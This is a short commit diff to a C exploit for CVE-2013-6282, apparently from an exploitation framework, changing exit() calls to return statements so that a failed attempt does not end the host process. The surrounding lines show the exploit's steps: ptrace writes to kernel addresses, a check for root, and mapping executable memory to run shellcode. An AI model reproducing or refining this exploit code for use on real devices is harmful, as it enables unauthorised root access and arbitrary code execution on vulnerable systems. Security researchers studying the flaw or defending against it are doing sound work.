dont exit(0) when exploit fails

Author: timwr

external/source/exploits/CVE-2013-6282/exploit.c

@@ -569,7 +569,7 @@ void ptrace_write_value_at_address(unsigned long int address, void *value) {
 		bChiled = true;
 		signal(SIGSTOP, SIG_IGN);
 		kill(getpid(), SIGSTOP);
-		exit(EXIT_SUCCESS);
+		return;
 	}
 
 	do {
@@ -652,20 +652,20 @@ void init_exploit() {
 
 	if (get_addresses() != 0) {
 		LOGV("Failed to get addresses.\n");
-		exit(EXIT_FAILURE);
+		return;
 	}
 
 	run_exploit();
 
 	int uid = getuid();
 	if (uid != 0) {
 		LOGV("Failed to get root.\n");
-		exit(EXIT_FAILURE);
+		return;
 	}
 
 	if (shellcode_buf[0] == 0x90) {
 		LOGV("No shellcode, uid=%d\n", uid);
-		exit(EXIT_SUCCESS);
+		return;
 	}
 	LOGV("running shellcode, uid=%d\n", uid);
 
@@ -674,7 +674,7 @@ void init_exploit() {
 	if (pid == 0) {
 		void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
 		if (ptr == MAP_FAILED) {
-			exit(EXIT_FAILURE);
+			return;
 		}
 		memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
 		void (*shellcode)() = (void(*)())ptr;